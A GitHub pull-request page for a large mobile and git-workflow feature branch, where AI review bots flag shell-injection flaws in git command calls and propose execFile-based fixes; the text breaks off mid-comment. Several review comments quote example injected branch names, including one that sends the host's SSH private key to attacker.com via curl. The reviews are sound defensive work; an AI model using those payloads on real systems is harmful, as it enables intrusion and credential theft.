Feature: Comprehensive mobile improvements and bug fixes #782
Feature: Comprehensive mobile improvements and bug fixes #782gsxdsm wants to merge 24 commits intoAutoMaker-Org:v0.15.0rcfrom
Conversation
…sage-tracking # Conflicts: # apps/ui/src/components/usage-popover.tsx # apps/ui/src/components/views/board-view/mobile-usage-bar.tsx
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughComprehensive update introducing z.ai and Gemini provider integrations, extensive git workflow services (stash, cherry-pick, rebase, pull), PWA support with service worker, mobile viewport optimizations, query persistence for offline capability, and automatic SSH URL fixing in lockfiles via pre-commit hooks and GitHub Actions. Changes
Sequence Diagram(s)sequenceDiagram
participant UI as UI (Board View)
participant API as HTTP API Client
participant Server as Server
participant Git as Git Service
participant DB as Settings DB
rect rgba(0, 150, 255, 0.5)
Note over UI,DB: Zai/Gemini Usage Flow
UI->>API: getZaiUsage() / getGeminiUsage()
API->>Server: GET /api/zai/usage or /api/gemini/usage
Server->>DB: Read stored credentials
alt Credentials present
Server->>API: OAuth token / API fetch
API->>Server: Return usage data
else No credentials
Server->>UI: 200 with authenticated=false
end
Server->>UI: JSON { authenticated, quotaLimits, usageDetails }
UI->>UI: useMobileVisibility / useMobileOnlineManager
UI->>UI: Render UsagePopover tabs
end
rect rgba(100, 200, 100, 0.5)
Note over UI,Git: Git Workflow (Stash/Commit/Cherry-Pick)
UI->>API: POST /worktree/stash-push
API->>Server: { worktreePath, message }
Server->>Git: execGitCommand(['stash', 'push', '-m', message])
Git->>Server: stash@{0} created
Server->>API: { success, branch, message }
UI->>API: POST /worktree/commit
API->>Server: { worktreePath, message, files }
Server->>Git: git add (files), git commit -m
Git->>Server: Commit hash
Server->>API: { success, hash, branch }
UI->>API: POST /worktree/cherry-pick
API->>Server: { worktreePath, commitHashes }
Server->>Git: git cherry-pick -m 1 hash1 hash2 ...
alt Conflicts detected
Git->>Server: CONFLICT: Merge required
Server->>API: { success: false, hasConflicts, conflictFiles }
UI->>UI: Show CherryPickConflictDialog
else Success
Server->>API: { success, cherryPicked }
end
end
rect rgba(200, 150, 100, 0.5)
Note over UI,Git: Branch Switch with Stash Conflict Resolution
UI->>API: POST /worktree/switch-branch
API->>Server: { worktreePath, branchName }
Server->>Git: Check local changes, stash if needed
alt Stash created
Git->>Server: Stashed changes
end
Server->>Git: git checkout branchName
Git->>Server: Switched
alt Stash pop conflicts
Git->>Server: CONFLICT in stash pop
Server->>API: { hasConflicts, stashedChanges, conflictFiles }
UI->>API: POST /features/generate with ConflictInfo
API->>Server: Create conflict-resolution feature
Server->>UI: Feature ID
else Success
Server->>API: { success, previousBranch, currentBranch }
end
end
rect rgba(200, 100, 150, 0.5)
Note over UI,DB: PWA & Cache Persistence
UI->>UI: App mounts useEffect
UI->>DB: hasWarmIDBCache(buildHash)
alt Warm cache exists
DB->>UI: true + cached queries
UI->>UI: restoreFromUICache, hydrate UI
UI->>UI: Parallel verifySession + loadSettings
else No warm cache
UI->>UI: Load from server
end
UI->>API: registerServiceWorker('/sw.js')
API->>API: sw.js installed
UI->>API: POST message CACHE_CLEANUP on update
UI->>API: SET_MOBILE_MODE for mobile detection
UI->>DB: queryClient.persistQueryClientProvider
UI->>DB: IDBPersister persist/restore/remove
DB->>UI: Cache hydrated on mount
end
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120+ minutes Possibly related PRs
Suggested labels
Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Summary of ChangesHello @gsxdsm, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request significantly enhances the application's mobile experience and overall performance by introducing PWA capabilities and intelligent caching mechanisms. It also refines the developer workflow with advanced Git worktree features like selective staging and smart branch switching. A major architectural refactoring of the auto-mode service improves code modularity and maintainability, while new documentation provides a clearer understanding of the codebase. API and SDK updates ensure compatibility with the latest AI models and introduce new integrations. Highlights
🧠 New Feature in Public Preview: You can now enable Memory to help Gemini Code Assist learn from your team's feedback. This makes future code reviews more consistent and personalized to your project's style. Click here to enable Memory in your admin console. Changelog
Activity
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here. You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension. Footnotes
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
The pull request introduces a comprehensive set of mobile PWA improvements, performance optimizations, and a major architectural refactoring of the auto-mode service into a more modular structure. The transition to a service-oriented backend is a positive step for maintainability. However, several critical security vulnerabilities related to shell injection were identified in the worktree routes where child_process.exec is used with unsafely interpolated strings. Additionally, a regression was found in the analyzeProject functionality within the new auto-mode facade, which currently throws an error instead of performing the analysis. Addressing these security and functional issues is essential for the integrity of the application.
I am having trouble creating individual review comments. Click here to see my feedback.
apps/server/src/routes/worktree/routes/commit.ts (49-63)
The use of execAsync (which wraps child_process.exec) with template literals containing user-provided input (files and message) is vulnerable to shell injection. Even with double-quote escaping, shell metacharacters like backticks or $(...) can be executed by the shell if they appear in filenames or commit messages. It is highly recommended to use execFile or an array-based execution utility like execGitCommand from ../common.js to safely pass arguments to git without involving a shell.
apps/server/src/routes/worktree/routes/switch-branch.ts (88)
This line is vulnerable to shell injection because message contains branch names that could be manipulated to include shell commands. Using execAsync (which spawns a shell) with interpolated variables is unsafe. You should use execFile or execGitCommand to pass arguments as an array. Additionally, the branchName from the request body should be validated using isValidBranchName before being used in any command.
apps/server/src/routes/worktree/routes/switch-branch.ts (176)
The branchName variable is interpolated directly into a shell command string, which is a security risk. An attacker could provide a malicious branch name to execute arbitrary commands. Please use an array-based execution method and ensure the branch name is validated against an allowlist of characters.
apps/server/src/routes/worktree/routes/switch-branch.ts (247-249)
Directly interpolating branchName into the execAsync call is unsafe. This should be replaced with an array-based execution method like execGitCommand to prevent shell injection attacks.
apps/server/src/services/auto-mode/facade.ts (1014-1020)
The analyzeProject method is currently not implemented and throws an error. Since the new AutoModeServiceCompat delegates to this facade, the /analyze-project API endpoint is now broken, representing a regression in functionality. This should be implemented to maintain feature parity with the previous monolithic service, or the route should be updated to reflect its current status.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 19
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (12)
apps/server/src/routes/worktree/routes/list-branches.ts (1)
134-135:⚠️ Potential issue | 🟠 MajorShell injection via unquoted
currentBranchinterpolation.
exec()routes through/bin/sh. Git permits branch names containing;,|,&,$, and backticks. A repo with a branch named e.g.main; curl attacker.tldwould execute the injected command when any of these three lines runs:// line 134-135 `git rev-parse --abbrev-ref ${currentBranch}@{upstream}` // line 141-142 `git rev-list --left-right --count ${currentBranch}@{upstream}...HEAD` // line 154 `git ls-remote --heads origin ${currentBranch}`The safest remediation is to switch from
exectoexecFile, which never invokes a shell:🔒 Proposed fix — switch to `execFile` for commands that embed branch names
-import { exec } from 'child_process'; +import { exec, execFile } from 'child_process'; import { promisify } from 'util'; const execAsync = promisify(exec); +const execFileAsync = promisify(execFile);- const { stdout: upstreamOutput } = await execAsync( - `git rev-parse --abbrev-ref ${currentBranch}@{upstream}`, - { cwd: worktreePath } - ); + const { stdout: upstreamOutput } = await execFileAsync( + 'git', + ['rev-parse', '--abbrev-ref', `${currentBranch}@{upstream}`], + { cwd: worktreePath } + );- const { stdout: aheadBehindOutput } = await execAsync( - `git rev-list --left-right --count ${currentBranch}@{upstream}...HEAD`, - { cwd: worktreePath } - ); + const { stdout: aheadBehindOutput } = await execFileAsync( + 'git', + ['rev-list', '--left-right', '--count', `${currentBranch}@{upstream}...HEAD`], + { cwd: worktreePath } + );- const { stdout: remoteBranchOutput } = await execAsync( - `git ls-remote --heads origin ${currentBranch}`, - { cwd: worktreePath, timeout: 5000 } - ); + const { stdout: remoteBranchOutput } = await execFileAsync( + 'git', + ['ls-remote', '--heads', 'origin', currentBranch], + { cwd: worktreePath, timeout: 5000 } + );Also applies to: 141-142, 154-154
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/list-branches.ts` around lines 134 - 135, The three git invocations that interpolate currentBranch (the execAsync calls that run `git rev-parse --abbrev-ref ${currentBranch}@{upstream}`, `git rev-list --left-right --count ${currentBranch}@{upstream}...HEAD`, and `git ls-remote --heads origin ${currentBranch}`) are vulnerable to shell injection; update the code to use a non-shell exec variant (e.g., execFile or an execAsync wrapper that accepts command + args) and pass branch names as separate arguments instead of interpolating them into a shell string (keep the same logic in listBranches handler / the surrounding function but call execFile('git', ['rev-parse','--abbrev-ref', `${currentBranch}@{upstream}`]) and similarly for the other two commands) so branch names are never interpreted by a shell.apps/ui/src/components/views/board-view/components/kanban-card/kanban-card.tsx (1)
278-284:⚠️ Potential issue | 🟡 MinorPass
isActivelyRunninginstead ofisCurrentAutoTasktoAgentInfoPanel.At line 283,
AgentInfoPanelreceives the rawisCurrentAutoTaskprop whileCardActions(line 289) correctly receives the narrowedisActivelyRunningvalue. This causesAgentInfoPanelto continue polling for fresh feature data even after a card is reconciled back to a resting state (e.g.,waiting_approval). The component renders live task progress UI with spinners (lines 361–362), which should only fetch updates when the task is actively executing. Update line 283 to passisActivelyRunning={isActivelyRunning}.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/components/kanban-card/kanban-card.tsx` around lines 278 - 284, AgentInfoPanel is being given the raw isCurrentAutoTask flag causing it to keep polling; change the prop to pass the already-computed isActivelyRunning value instead. Locate the AgentInfoPanel usage in kanban-card.tsx (the component where AgentInfoPanel is rendered) and replace the prop isCurrentAutoTask={isCurrentAutoTask} with isActivelyRunning={isActivelyRunning} so AgentInfoPanel uses the narrowed running-state (matching CardActions) and stops polling when the card is reconciled.apps/server/src/routes/backlog-plan/routes/apply.ts (1)
57-65:⚠️ Potential issue | 🟠 MajorStale in-memory
allFeaturescauses incorrect dependency restoration during multi-feature deletions.
allFeaturesis fetched once (line 44) and is never updated in-memory. When iterating through multiple deletions,feature.dependencieson the in-memory object is always the original list. For a feature A that depends on both B and C, and both B and C are being deleted:
- Delete B:
newDeps = [C](correct) — store updated to[C].- Delete C:
newDeps = [B](wrong, derived from stale[B, C]) — store overwritten to[B], reintroducing a dangling reference to already-deleted B.After the deletion pass, A ends up with a dependency on the deleted feature B.
🐛 Proposed fix — mutate the in-memory object after each update
if (feature.dependencies?.includes(change.featureId)) { const newDeps = feature.dependencies.filter((d) => d !== change.featureId); await featureLoader.update(projectPath, feature.id, { dependencies: newDeps }); + // Keep in-memory state in sync so subsequent deletions see the updated deps + feature.dependencies = newDeps; logger.info( `[BacklogPlan] Removed dependency ${change.featureId} from ${feature.id}` ); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/backlog-plan/routes/apply.ts` around lines 57 - 65, The loop that removes dependencies uses a stale in-memory array allFeatures (fetched earlier) so subsequent deletions compute newDeps from the original dependencies and can reintroduce deleted IDs; after calling featureLoader.update(projectPath, feature.id, { dependencies: newDeps }) inside the for (const feature of allFeatures) loop, also mutate the in-memory feature object (e.g., set feature.dependencies = newDeps) so later iterations use the updated dependency list, ensuring change.featureId is removed from future computations and preventing restoration of deleted dependencies.apps/ui/src/components/views/board-view/hooks/use-board-persistence.ts (1)
183-210:⚠️ Potential issue | 🟠 Major
persistFeatureDelete:throwinsidetrycauses double side-effects and silently swallows all deletion errorsTwo compounding issues in this block:
Double rollback + double invalidate:
throw new Error('Features API not available')at line 193 is inside thetryblock, so it is immediately caught by thecatchat line 201. The rollback (lines 187–189) andinvalidateQueries(lines 190–192) already ran before the throw, then thecatchblock runs them again (lines 204–206 and 207–209). The doubleinvalidateQueriestriggers a redundant second refetch.Silent error swallow: The
catchblock does not re-throw, so both "API unavailable" and actualapi.features.delete()failures are silently discarded. Callers cannot surface an error to the user. This is inconsistent withpersistFeatureCreate, which correctly re-throws at line 163.🐛 Proposed fix
const persistFeatureDelete = useCallback( async (featureId: string) => { if (!currentProject) return; + const api = getElectronAPI(); + if (!api.features) { + throw new Error('Features API not available'); + } + // Optimistically remove from React Query cache for immediate board refresh const previousFeatures = queryClient.getQueryData<Feature[]>( queryKeys.features.all(currentProject.path) ); queryClient.setQueryData<Feature[]>( queryKeys.features.all(currentProject.path), (existing) => (existing ? existing.filter((f) => f.id !== featureId) : existing) ); try { - const api = getElectronAPI(); - if (!api.features) { - // Rollback optimistic deletion since we can't persist - if (previousFeatures) { - queryClient.setQueryData(queryKeys.features.all(currentProject.path), previousFeatures); - } - queryClient.invalidateQueries({ - queryKey: queryKeys.features.all(currentProject.path), - }); - throw new Error('Features API not available'); - } - await api.features.delete(currentProject.path, featureId); // Invalidate to sync with server state queryClient.invalidateQueries({ queryKey: queryKeys.features.all(currentProject.path), }); } catch (error) { logger.error('Failed to persist feature deletion:', error); // Rollback optimistic update on error if (previousFeatures) { queryClient.setQueryData(queryKeys.features.all(currentProject.path), previousFeatures); } queryClient.invalidateQueries({ queryKey: queryKeys.features.all(currentProject.path), }); + throw error; } }, [currentProject, queryClient] );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/hooks/use-board-persistence.ts` around lines 183 - 210, Move the Electron API availability check out of the try block and re-throw errors from the catch: call getElectronAPI() and check api.features before entering the try in persistFeatureDelete; if api.features is missing perform the rollback via queryClient.setQueryData(queryKeys.features.all(currentProject.path), previousFeatures) and queryClient.invalidateQueries(...) and then throw the Error so it isn't caught by the local catch. Inside the catch (which will now only see real delete failures from api.features.delete), keep the logger.error(...) and rollback/invalidate as currently done, then re-throw the caught error so callers can surface the failure.apps/ui/src/components/views/login-view.tsx (1)
400-400:⚠️ Potential issue | 🟡 MinorRedundant ternary — both branches evaluate to the same expression.
state.apiKeyis returned regardless of the condition (bothawaiting_loginandlogging_incarryapiKey). Simplify:🛠️ Proposed fix
- const apiKey = state.phase === 'awaiting_login' ? state.apiKey : state.apiKey; + const apiKey = state.apiKey;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/login-view.tsx` at line 400, The ternary assigning apiKey is redundant because both branches use state.apiKey; replace the ternary expression in the login-view component by directly assigning const apiKey = state.apiKey (locate where apiKey is declared and where state.phase, state.apiKey are referenced) to simplify the code and remove the unnecessary conditional.apps/server/src/services/settings-service.ts (1)
1016-1023:⚠️ Potential issue | 🟡 Minor
getMaskedCredentialsdoes not exposezaicredential statusThe migration correctly initialises
zai: '', butgetMaskedCredentials(lines 728–754) only returns status foranthropic,openai. Any UI caller that usesgetMaskedCredentialsto enumerate all configured API keys will silently misszai.🛡️ Proposed fix
async getMaskedCredentials(): Promise<{ anthropic: { configured: boolean; masked: string }; google: { configured: boolean; masked: string }; openai: { configured: boolean; masked: string }; + zai: { configured: boolean; masked: string }; }> { ... + zai: { + configured: !!credentials.apiKeys.zai, + masked: maskKey(credentials.apiKeys.zai), + }, }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/settings-service.ts` around lines 1016 - 1023, getMaskedCredentials currently constructs and returns masked status only for anthropic, google, and openai, so callers won't see the zai credential status; update the getMaskedCredentials function to include a zai entry (consistent with how anthropic/google/openai are handled), deriving its masked/exists boolean from the internal credentials source the same way and ensuring any mask/value formatting logic matches the other providers so UI callers can enumerate zai alongside the others; also ensure updateCredentials (which initializes zai: '') and any related types/interfaces are compatible with the new zai field.apps/server/src/lib/permission-enforcer.ts (1)
143-147:⚠️ Potential issue | 🟠 MajorRegex injection risk in
matchesRulewith wildcard patterns.This is pre-existing code, but worth noting: when
rulecontains*, the replacementrule.replace(/\*/g, '.*')doesn't escape other regex metacharacters. Since tool names contain literal parentheses (e.g.,Shell(git*)), this produces an invalid or unintended regex likeShell(git.*)where(is treated as a group opener. This could cause aSyntaxErrorfor unbalanced parens or silently match incorrectly.Consider escaping non-
*metacharacters before replacing*:🔧 Suggested fix
if (rule.includes('*')) { - const regex = new RegExp(rule.replace(/\*/g, '.*')); + const escaped = rule.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + const regex = new RegExp(escaped.replace(/\\\*/g, '.*')); return regex.test(toolName); }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/lib/permission-enforcer.ts` around lines 143 - 147, The wildcard handling in matchesRule is vulnerable because rule strings are inserted into a RegExp without escaping regex metacharacters (e.g., parentheses), so first escape all regex-special characters in the rule except the wildcard '*' (e.g., treat . ^ $ + ? ( ) [ ] { } | \ as literals), then replace '*' with '.*' and construct the RegExp (optionally anchor with ^ and $) to test toolName; update the matchesRule function to perform that escaping before calling new RegExp to avoid injection/invalid-regex errors.apps/server/src/routes/worktree/routes/switch-branch.ts (1)
18-23:⚠️ Potential issue | 🔴 CriticalCritical: Shell injection risk —
execwith user-controlledbranchNamethroughout this file.Unlike
discard-changes.ts(which was correctly migrated toexecFilein this PR), this file still usesexecwith string interpolation for user-controlledbranchName. Multiple commands interpolatebranchName,parsed.branch, ortargetBranchinto shell strings (lines 88, 175, 246, 274, 277, 283).A crafted
branchNamelike"; curl attacker.com/steal?d=$(cat ~/.ssh/id_rsa); echo "would execute arbitrary commands sinceexecspawns a shell and double-quotes don't protect against$(...)subshells.Migrate all git commands to
execFilewith argument arrays, consistent with the approach indiscard-changes.ts:Example migration for the checkout calls
+import { execFile } from 'child_process'; +const execFileAsync = promisify(execFile); + // Line 274: -await execAsync(`git checkout "${parsed.branch}"`, { cwd: worktreePath }); +await execFileAsync('git', ['checkout', parsed.branch], { cwd: worktreePath }); // Line 277: -await execAsync(`git checkout -b "${parsed.branch}" "${branchName}"`, { cwd: worktreePath }); +await execFileAsync('git', ['checkout', '-b', parsed.branch, branchName], { cwd: worktreePath }); // Line 283: -await execAsync(`git checkout "${targetBranch}"`, { cwd: worktreePath }); +await execFileAsync('git', ['checkout', targetBranch], { cwd: worktreePath }); // Line 88: -await execAsync(`git stash push --include-untracked -m "${message}"`, { cwd }); +await execFileAsync('git', ['stash', 'push', '--include-untracked', '-m', message], { cwd }); // Line 175: -await execAsync(`git rev-parse --verify "refs/heads/${branchName}"`, { cwd }); +await execFileAsync('git', ['rev-parse', '--verify', `refs/heads/${branchName}`], { cwd });Apply the same pattern to all remaining
execAsynccalls (lines 46, 59, 81, 91, 111, 132, 158, 207, 246).🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 18 - 23, This file is vulnerable because it uses the promisified shell-spawning execAsync with user-controlled strings (e.g., branchName, parsed.branch, targetBranch); replace all uses of execAsync with a promisified execFile variant and pass Git and SSH args as an argument array (no shell interpolation). Concretely: import execFile from child_process and create execFileAsync = promisify(execFile), then for every call that currently does execAsync(`git ... ${branchName} ...`) or interpolates parsed.branch/targetBranch, call execFileAsync('git', ['checkout', '--', branchName], {cwd: repoPath}) (and similar for merge/branch/create/push commands), removing any surrounding quotes and avoiding shell operators; keep existing error handling via getErrorMessage/logError unchanged. Ensure every execAsync reference in this file is migrated to execFileAsync with explicit arg arrays so no user input is interpreted by a shell.apps/server/src/routes/app-spec/common.ts (1)
115-118:⚠️ Potential issue | 🟠 MajorLogging first 20 characters of
ANTHROPIC_API_KEYleaks a significant portion of the secret.This is pre-existing code, but given that this PR addresses type-safety across the error handling surface, it's worth flagging: logging 20 characters of an API key is too generous. Typically 4–8 characters suffice for identification.
Proposed fix
logger.info( ` ANTHROPIC_API_KEY: ${ - hasApiKey ? 'SET (' + process.env.ANTHROPIC_API_KEY?.substring(0, 20) + '...)' : 'NOT SET' + hasApiKey ? 'SET (' + process.env.ANTHROPIC_API_KEY?.substring(0, 6) + '...)' : 'NOT SET' }` );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/app-spec/common.ts` around lines 115 - 118, The current logger.info call prints the first 20 chars of ANTHROPIC_API_KEY which leaks too much secret; update the logger.info usage that references ANTHROPIC_API_KEY (the template string around logger.info) to only show a short, non-sensitive fingerprint (e.g., 4–8 characters) or a masked form like "***xxxx" when hasApiKey is true, and keep "NOT SET" when false, so the log retains identifiability without exposing the secret.apps/ui/src/types/electron.d.ts (1)
703-721:⚠️ Potential issue | 🟠 Major
ElectronAPItype definition is missingzaiandgemininamespace declarations.The
ElectronAPIinterface inapps/ui/src/types/electron.d.ts(lines 703-721) declares onlyclaudeandcodexusage namespaces, butapps/ui/src/hooks/queries/use-usage.tsaccessesapi.zai.getUsage()(line 110) andapi.gemini.getUsage()(line 146). The implementations exist inapps/ui/src/lib/electron.ts(lines 1385 and 1430), so the type definition must be updated to include:// Codex Usage API codex: { getUsage: () => Promise<CodexUsageResponse>; }; + // z.ai Usage API + zai: { + getUsage: () => Promise<ZaiUsageResponse>; + verify?: (apiKey: string) => Promise<{ success: boolean; authenticated?: boolean; message?: string; error?: string }>; + }; + + // Gemini Usage API + gemini: { + getUsage: () => Promise<GeminiUsageResponse>; + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/types/electron.d.ts` around lines 703 - 721, The ElectronAPI type is missing the zai and gemini namespaces used by use-usage hooks; update the ElectronAPI interface to add zai: { getUsage: () => Promise<ClaudeUsageResponse> } and gemini: { getUsage: () => Promise<CodexUsageResponse> } (or the appropriate response types used by api.zai.getUsage() and api.gemini.getUsage()), matching the existing claude and codex declarations so TypeScript recognizes api.zai.getUsage and api.gemini.getUsage.apps/server/src/index.ts (1)
595-602:⚠️ Potential issue | 🟠 MajorAvoid logging session IDs in event payload logs.
Session IDs are sensitive identifiers; logging them increases exposure risk. Consider removing or hashing/truncating them before logging.🛠️ Suggested fix
- sessionId: (payload as Record<string, unknown>)?.sessionId,🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/index.ts` around lines 595 - 602, The log currently includes the raw sessionId from the event payload (inside the ws send block using logger.info), which is sensitive; update the send logging to avoid emitting the raw sessionId by removing it or replacing it with a non-reversible fingerprint (e.g., a hash or masked/truncated value) before passing to logger.info — locate the WebSocket send block that checks ws.readyState === WebSocket.OPEN, the logger.info call that logs { type, messageLength, sessionId }, and change the sessionId entry to either omit it or set it to a hashed/masked value derived from (payload as Record<string, unknown>)?.sessionId so logs no longer contain the full identifier.apps/ui/src/components/usage-popover.tsx (1)
31-47:⚠️ Potential issue | 🟡 MinorHandle past reset timestamps to avoid negative minutes.
If the timestamp is already in the past, the UI can show “Resets in -Xm”. Consider clamping to a friendly fallback.🛠️ Suggested fix
- if (diff < 3600000) { + if (diff <= 0) { + return 'Resets soon'; + } + if (diff < 3600000) { const mins = Math.ceil(diff / 60000); return `Resets in ${mins}m`; }Also applies to: 50-52
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/usage-popover.tsx` around lines 31 - 47, In function formatResetTime, guard against past timestamps by clamping negative diffs to a friendly fallback: if date.getTime() <= now.getTime() return a neutral string like "Resets now" (or "Resets in 0m"); otherwise compute mins/hours using Math.max to avoid negative values (e.g., mins = Math.max(0, Math.ceil(diff / 60000))), and apply the same non-negative clamping logic where hours/mins are derived so the UI never displays negative time values; update formatResetTime accordingly and ensure the same clamp logic is applied to the related calculations referenced around the hours/mins branches.
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
There was a problem hiding this comment.
Actionable comments posted: 2
🧹 Nitpick comments (1)
apps/ui/src/styles/global.css (1)
406-411: Merge the two#appblocks to avoid rule fragmentation.There are two separate
#appdeclarations in the same@layer baseblock. Consolidating them avoids specificity confusion and improves readability.♻️ Proposed consolidation
- `#app` { - height: 100%; - height: 100dvh; - overflow: hidden; - overscroll-behavior: none; - } - /* ... `@supports` block ... */ - - /* Safe area insets for devices with notches/home indicators (viewport-fit=cover) */ - `#app` { - padding-top: env(safe-area-inset-top, 0px); - padding-bottom: env(safe-area-inset-bottom, 0px); - padding-left: env(safe-area-inset-left, 0px); - padding-right: env(safe-area-inset-right, 0px); - } + /* Safe area insets for devices with notches/home indicators (viewport-fit=cover) */ + `#app` { + height: 100%; + height: 100dvh; + overflow: hidden; + overscroll-behavior: none; + padding-top: env(safe-area-inset-top, 0px); + padding-bottom: env(safe-area-inset-bottom, 0px); + padding-left: env(safe-area-inset-left, 0px); + padding-right: env(safe-area-inset-right, 0px); + }Also applies to: 422-427
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/styles/global.css` around lines 406 - 411, There are two fragmented declarations of the `#app` selector inside the same `@layer` base; merge them into a single `#app` rule (combine properties such as height: 100%; height: 100dvh; overflow: hidden; overscroll-behavior: none) to avoid rule fragmentation and specificity confusion—update the other duplicate block (the one referenced at 422-427) the same way so only one consolidated `#app` rule exists in the stylesheet.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@apps/ui/src/styles/global.css`:
- Around line 413-419: The global body rule using -webkit-touch-callout: none is
incorrect and causes an accessibility regression by disabling the iOS long-press
context menu; remove that declaration from the body selector and either delete
the block or replace it with a scoped utility class (e.g., .no-touch-callout)
applied only to non-interactive chrome elements; keep overscroll-behavior: none
for preventing pull-to-refresh and do not rely on -webkit-touch-callout for
bounce prevention.
- Around line 397-404: Remove the stray backticks around the media query so the
rule becomes a proper at-rule; locate the `@media (hover: none) and (pointer:
coarse)` block in apps/ui/src/styles/global.css (the rule that targets `html,
body` and sets `position: fixed`) and delete the literal backtick characters so
the media query is valid CSS and `position: fixed` is applied on touch devices.
---
Nitpick comments:
In `@apps/ui/src/styles/global.css`:
- Around line 406-411: There are two fragmented declarations of the `#app`
selector inside the same `@layer` base; merge them into a single `#app` rule
(combine properties such as height: 100%; height: 100dvh; overflow: hidden;
overscroll-behavior: none) to avoid rule fragmentation and specificity
confusion—update the other duplicate block (the one referenced at 422-427) the
same way so only one consolidated `#app` rule exists in the stylesheet.
gsxdsm
added
Enhancement
… pull request flow, add worktree file copy options, address code review comments, add cherry pick options
There was a problem hiding this comment.
Actionable comments posted: 20
Note
Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (4)
apps/server/src/routes/worktree/routes/create-pr.ts (2)
96-96:⚠️ Potential issue | 🟠 MajorShell metacharacter escaping is incomplete for
commitMessage.Line 96 only escapes double quotes (
"), but shell metacharacters like`,$, and\are not escaped. A commit message containing$(whoami)or backtick-wrapped commands would be interpreted by the shell. The same concern applies totitleandbodyon line 316, though those are pre-existing.Consider using an array-based exec approach (e.g.,
spawnwith argument array) or a proper shell-escaping utility instead of string interpolation.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/create-pr.ts` at line 96, The commit message is being passed into execAsync via string interpolation (see the execAsync call using message.replace(...) in create-pr route) which only escapes double quotes and leaves shell metacharacters like backticks, $, and backslashes unsafe; update the code to stop invoking a shell with an interpolated string and instead call a child-process API that accepts an argument array (e.g., child_process.spawn or execFile) to run git commit with ['commit', '-m', commitMessage] or use a robust shell-escaping library to fully escape backticks, $, and \ characters; also apply the same fix to the code paths that build git commands from title and body (the pre-existing variables referenced around the title/body handling) so all commit messages are passed as arguments rather than interpolated into a shell string.
125-143:⚠️ Potential issue | 🟡 MinorRedundant retry — both push commands are identical.
Line 126 uses
git push -uand line 133 usesgit push --set-upstream. The-uflag is the short form of--set-upstream, so these two commands are functionally identical. If the first fails, the retry will always fail with the same error.If the original intent was "try a plain push first, then retry with
--set-upstreamif the tracking ref isn't set," the first command should drop the-uflag:♻️ Proposed fix
- await execAsync(`git push -u ${pushRemote} ${branchName}`, { + await execAsync(`git push ${pushRemote} ${branchName}`, { cwd: worktreePath, env: execEnv, });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/create-pr.ts` around lines 125 - 143, The retry is redundant because `-u` is the short form of `--set-upstream`; update the first execAsync call in the create-pr flow (the block that calls execAsync with pushRemote and branchName) to perform a plain `git push ${pushRemote} ${branchName}` (no `-u`/`--set-upstream`), so the fallback catch can correctly retry with `git push --set-upstream ${pushRemote} ${branchName}`; keep the surrounding cwd/env (worktreePath, execEnv) and the existing error capture into pushError and logger.error as-is.apps/server/tests/unit/services/auto-loop-coordinator.test.ts (1)
826-845:⚠️ Potential issue | 🟡 MinorEdge-case test omits coverage for the broken fallback dependency behavior.
This test constructs a coordinator without
